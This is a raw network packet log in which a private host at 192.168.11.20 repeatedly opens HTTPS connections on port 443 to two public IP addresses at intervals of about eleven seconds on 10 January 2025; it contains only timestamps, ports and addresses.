Jan 10, 2025 15:35:21.985662937 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.985879898 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:21.985937119 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.986124992 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.986332893 CET	49780	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:21.986383915 CET	443	49780	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:22.013787985 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.013861895 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.014147043 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.014369011 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.014415026 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.271009922 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.271224022 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.271507025 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.271545887 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.271598101 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.271614075 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.674386978 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.674443007 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.674662113 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.674662113 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.674679041 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.674979925 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.674993992 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.675061941 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.675206900 CET	443	49781	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:22.675235033 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:22.675353050 CET	49781	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:32.700341940 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.700371027 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:32.700566053 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.700764894 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.700778008 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:32.951955080 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:32.952219009 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.952636957 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.952636957 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:32.952666998 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:32.952677965 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:33.223104000 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:33.223153114 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:33.223484039 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:33.223484039 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:33.227643013 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.227665901 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.227905989 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.228002071 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.228013039 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.480422974 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.480716944 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.481992006 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.482009888 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.482368946 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.482553959 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.482970953 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.526420116 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.527631998 CET	49782	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:33.527677059 CET	443	49782	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:33.836294889 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.836539030 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.836574078 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.836606026 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.836802959 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.836838007 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.836997032 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.837158918 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.837158918 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:33.837235928 CET	443	49783	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:33.837394953 CET	49783	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:43.869939089 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:43.870034933 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:43.870259047 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:43.870465040 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:43.870517969 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.131823063 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.132061958 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.132421017 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.132466078 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.132574081 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.132626057 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.404043913 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.404242039 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.404303074 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.404412985 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.404515982 CET	49784	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:44.404567003 CET	443	49784	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:44.412964106 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.413052082 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:44.413234949 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.413466930 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.413518906 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:44.675818920 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:44.676044941 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.676388979 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.676434040 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:44.676541090 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:44.676587105 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:45.029757023 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:45.029933929 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:45.029993057 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:45.030050039 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:45.030092001 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:45.030205011 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:45.030205011 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:45.030205011 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:45.030287027 CET	49785	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:45.030335903 CET	443	49785	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:55.054964066 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.055027962 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.055238008 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.055463076 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.055502892 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.307909012 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.308065891 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.308352947 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.308401108 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.308469057 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.308480024 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.585647106 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.585822105 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.585834980 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.586067915 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.586172104 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.586236954 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.586359978 CET	443	49786	142.250.190.110	192.168.11.20
Jan 10, 2025 15:35:55.586402893 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.586576939 CET	49786	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:35:55.590135098 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.590156078 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:55.590317011 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.590527058 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.590533018 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:55.847718000 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:55.847975016 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.848268032 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.848314047 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:55.848361969 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:55.848388910 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.193927050 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.194053888 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.194196939 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:56.194264889 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.194370985 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:56.194505930 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:56.194744110 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:56.194952011 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.195066929 CET	443	49787	142.250.190.97	192.168.11.20
Jan 10, 2025 15:35:56.195223093 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:35:56.195224047 CET	49787	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:06.240031958 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.240099907 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.240278006 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.240432978 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.240473032 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.499527931 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.499737024 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.499737024 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.501207113 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.501466990 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.502676964 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.502708912 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.503273964 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.503402948 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.503813982 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.550224066 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.770102978 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.770308018 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.770342112 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.770368099 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.770514965 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.770612955 CET	49788	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:06.770642042 CET	443	49788	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:06.800801992 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:06.800869942 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:06.801079988 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:06.801322937 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:06.801345110 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.060009003 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.060225964 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.060499907 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.060547113 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.060580969 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.060606956 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.408078909 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.408324003 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.408344030 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.408391953 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.408484936 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.408528090 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:07.408545971 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.408689976 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.409099102 CET	49789	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:07.409147978 CET	443	49789	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:17.456538916 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:17.456620932 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:17.456813097 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:17.457099915 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:17.457118034 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:18.733958960 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:18.734220982 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:18.734513998 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:18.734529972 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:18.734671116 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:18.734687090 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:19.026493073 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:19.026686907 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:19.026721001 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:19.026787043 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:19.026817083 CET	443	49790	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:19.026896000 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:19.026977062 CET	49790	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:19.041291952 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.041373014 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.041594982 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.041748047 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.041802883 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.302818060 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.302997112 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.303297997 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.303343058 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.303466082 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.303514004 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.641768932 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.641954899 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.641957045 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642009020 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.642115116 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.642182112 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642374992 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642374992 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642713070 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642713070 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:19.642756939 CET	443	49791	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:19.642956018 CET	49791	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:29.688424110 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.688539982 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:29.688807964 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.689513922 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.689572096 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:29.948126078 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:29.948347092 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.948633909 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.948668003 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:29.948771000 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:29.948806047 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:30.230026960 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:30.230298996 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:30.230355978 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:30.230583906 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:30.230640888 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:30.230834961 CET	443	49792	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:30.231071949 CET	49792	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:30.239608049 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.239707947 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.239877939 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.240073919 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.240123987 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.498933077 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.499105930 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.499455929 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.499496937 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.499631882 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.499685049 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.850478888 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.850619078 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.850723028 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.850773096 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.850800991 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.850874901 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.851119995 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.851272106 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.851273060 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:30.851322889 CET	443	49793	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:30.851514101 CET	49793	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:40.857418060 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:40.857508898 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:40.857728958 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:40.858031988 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:40.858089924 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.118705988 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.118978024 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.121583939 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.121841908 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.123117924 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.123164892 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.124110937 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.124362946 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.124692917 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.166296959 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.396265030 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.396320105 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.396509886 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.396826982 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.396826982 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.396859884 CET	443	49794	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:41.397157907 CET	49794	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:41.431696892 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.431785107 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:41.432023048 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.432286978 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.432300091 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:41.685307026 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:41.685492039 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.685816050 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.685823917 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:41.685885906 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:41.685890913 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:42.028816938 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:42.028904915 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:42.029021025 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:42.029057026 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:42.029136896 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:42.029295921 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:42.029505014 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:42.029586077 CET	443	49795	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:42.029759884 CET	49795	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.042336941 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.042418003 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.042737961 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.042941093 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.042968035 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.297447920 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.297640085 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.297960997 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.298017979 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.298113108 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.298122883 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.569395065 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.570075989 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.570131063 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.570166111 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.570281029 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.570367098 CET	49796	443	192.168.11.20	142.250.190.110
Jan 10, 2025 15:36:52.570414066 CET	443	49796	142.250.190.110	192.168.11.20
Jan 10, 2025 15:36:52.607880116 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.607961893 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:52.608196974 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.608388901 CET	49797	443	192.168.11.20	142.250.190.97
Jan 10, 2025 15:36:52.608443022 CET	443	49797	142.250.190.97	192.168.11.20
Jan 10, 2025 15:36:52.869832993 CET	443	49797	142.250.190.97	192.168.11.20
